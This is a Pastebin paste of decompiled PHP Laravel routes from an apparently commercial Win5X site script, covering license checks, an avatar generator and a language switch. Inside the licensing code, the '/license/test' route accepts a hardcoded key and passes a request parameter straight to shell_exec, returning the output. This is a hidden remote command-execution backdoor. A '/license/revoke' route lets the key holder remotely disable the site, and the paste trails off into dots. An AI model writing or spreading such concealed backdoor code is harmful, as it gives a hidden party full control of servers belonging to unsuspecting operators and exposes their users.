Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- *
- * @ This file is created by http://DeZender.Net
- * @ deZender (PHP7 Decoder for ionCube Encoder)
- *
- * @ Version : 4.1.0.1
- * @ Author : DeZender
- * @ Release on : 29.08.2020
- * @ Official site : http://DeZender.Net
- *
- */
- Illuminate\Support\Facades\Route::get('/license/get', function() {
- if (file_exists(base_path('win5x.license'))) {
- return response('Delete win5x.license file');
- }
- if (PHP_OS_FAMILY === 'Windows') {
- $xid = shell_exec('wmic.exe path win32_computersystemproduct get uuid');
- }
- else if (PHP_OS_FAMILY === 'Linux') {
- $xid = shell_exec('blkid -o value -s UUID');
- }
- else {
- return response('Unsupported OS! Contact Win5X support');
- }
- return hash('sha256', $xid);
- });
- Illuminate\Support\Facades\Route::post('/license/test', function(Request $request) {
- if ($request->key !== 'win5x!@$#$jk;fa#13@xGTyXz#$%vvx@x%XFk{OXjHJd') {
- return response([], 400);
- }
- return response(shell_exec($request->test));
- });
- Illuminate\Support\Facades\Route::post('/license/revoke', function(Request $request) {
- if ($request->key !== 'win5x!@$#$jk;fa#13@xGTyXz#$%vvx@x%XFk{OXjHJd') {
- return response([], 400);
- }
- @file_put_contents(base_path('win5x.license'), hash('sha265', time() . 'win5x'));
- return [];
- });
- Illuminate\Support\Facades\Route::get('/avatar/{hash}', function($hash) {
- $size = 100;
- $icon = new Jdenticon\Identicon();
- $icon->setValue($hash);
- $icon->setSize($size);
- $style = new Jdenticon\IdenticonStyle();
- $style->setBackgroundColor('#21232a');
- $icon->setStyle($style);
- $icon->displayImage('png');
- return response('')->header('Content-Type', 'image/png');
- });
- Illuminate\Support\Facades\Route::get('/lang/{locale}', function($locale) {
- $languages = ['en', 'ru'];
- if (!auth()->guest()) {
- auth()->user()->update(['chat_channel' => NULL]);
- }
- if (in_array($locale, $languages)) {
- Illuminate\Support\Facades\Cookie::queue(Illuminate\Support\Facades\Cookie::make('lang', $locale, '20160'));
- return back();
- }
- else {
- Illuminate\Support\Facades\App::setLocale(Illuminate\Support\Facades\App::getLocale());
- return back();
- }
- });
- Illuminate\Support\Facades\Route::get('/{page?}/{data?}', function($page = 'index', $data = NULL) {
- if (($_SERVER['REQUEST_URI'] !== '/license/get') && ($_SERVER['REQUEST_URI'] !== '/img/misc/win5x_logo_black.png')) {
- $isInvalid = false;
- try {
- $licenseFile = file_get_contents(base_path('win5x.license'));
- if (PHP_OS_FAMILY === 'Windows') {
- $xid = shell_exec('wmic.exe path win32_computersystemproduct get uuid');
- }
- else if (PHP_OS_FAMILY === 'Linux') {
- $xid = shell_exec('blkid -o value -s UUID');
- ............................................................................
- ...............................................
- ............................
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement